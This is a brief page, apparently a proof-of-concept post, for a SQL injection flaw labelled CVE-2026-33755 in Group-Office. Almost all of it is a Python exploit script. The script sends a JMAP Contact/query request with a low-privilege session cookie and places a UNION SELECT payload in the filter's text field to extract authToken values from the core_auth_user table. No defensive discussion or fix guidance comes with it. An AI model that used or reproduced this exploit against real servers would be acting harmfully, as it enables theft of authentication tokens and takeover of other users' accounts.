CVE-2026-33755 Group-Office SQL注入漏洞

import requests import json # Target configuration url = "https://target-groupoffice.com/jmap" attacker_session = "low_privilege_session_cookie" # Headers headers = { "Content-Type": "application/json", "Cookie": f"GO_SID={attacker_session}" } # Malicious JMAP payload to exploit SQLi in Contact/query # This payload attempts to extract auth_token from the database payload = { "using": ["urn:ietf:params:jmap:contacts"], "methodCalls": [ [ "Contact/query", { "accountId": "1", "filter": { # The injection point: 'text' field "text": "x' UNION SELECT NULL, NULL, authToken, NULL FROM core_auth_user-- " } }, "c1" ] } # Send the exploit request response = requests.post(url, headers=headers, data=json.dumps(payload)) # Check if data is leaked if response.status_code == 200: print("[+] Request sent successfully") print("[+] Response:") print(response.json()) else: print("[-] Exploit failed or target is not vulnerable")